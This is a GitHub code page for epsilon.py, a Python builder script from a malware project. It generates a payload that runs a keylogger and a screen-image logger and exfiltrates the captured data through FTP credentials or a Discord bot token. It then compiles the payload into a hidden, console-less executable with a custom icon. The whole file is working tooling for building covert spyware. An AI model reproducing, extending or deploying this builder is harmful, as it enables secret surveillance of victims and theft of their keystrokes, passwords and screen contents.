forked from Sreyas-Sreelal/Epsilon
-
Notifications
You must be signed in to change notification settings - Fork 0
/
epsilon.py
96 lines (73 loc) · 3.1 KB
/
epsilon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import threading
import os
import shutil
from core.sys_send import *
ASCII_DATA = '''
_____ _ _
| __|___ ___|_| |___ ___
| __| . |_ -| | | . | |
|_____| _|___|_|_|___|_|_|
|_| (v 1.0 beta)
https://www.github.com/sreyas-sreelal/epsilon
\n\n
'''
def start_epsilon():
print_title()
print_white(ASCII_DATA)
DEBUG = True
prompt = input(print_green("Debug mode(True/False) : ")).lower()
if prompt == "t" or prompt == "true" or prompt == "1":
DEBUG = True
else:
DEBUG = False
Name = input(print_yellow("Provide name of the binary : "))
print_green("Input network pathway for communication:")
print_white("1.Ftp")
print_white("2.Discord bot")
network = input(print_white("Select your option : "))
File = open(Name+'.py','w')
File.write('import payloads.behaviour\n')
if network == "1":
address = input(print_white("input ftp address : "))
username = input(print_white("input ftp username : "))
password = input(print_white("input ftp password : "))
File.write('from network.ftpconn import init_creditinals\n')
File.write('init_creditinals("' + address + '","' + username + '","' + password + '")\n' )
print_green("Select yor payloads (seprated by spaces) :")
print_white("1.Satelite")
print_white("2.KeyLogger")
keys = input(print_white("Select your option(s) : "))
list_keys = [int(k) for k in keys.split(' ')]
for i in list_keys:
if i == 1:
File.write('from network.ftpconn import startimageloggging\n')
File.write('startimageloggging()\n')
elif i ==2:
File.write('from network.ftpconn import startkeylogging\n')
File.write('startkeylogging()\n')
elif network == "2":
token = input("Input your discord bot token")
File.write('from network.discordbot import runbot,init_bot\n')
File.write('init_bot("'+token+'")\n')
File.write('runbot()\n')
iconfile = input(print_magenta("icon file for the binary (if not needed leave it) : "))
File.close()
success("Creating payload " + Name + ".py")
Create_Binary = input(print_yellow("Do you want to compile and create binary of created payload? (Y/N)"))
if Create_Binary == 'Y' or Create_Binary == 'y':
cmd = "pyinstaller "+ Name+".py" + ' -y --distpath="." --workpath="." --clean -F'
if not DEBUG :
cmd = cmd + " --noconsole"
if iconfile is not "":
if '.ico' not in iconfile:
iconfile = iconfile + '.ico'
cmd = cmd + " --icon="+iconfile
print_red(cmd)
os.system(cmd)
try:
shutil.rmtree(Name)
os.remove(Name+'.spec')
except:
pass
if __name__ == '__main__':
start_epsilon();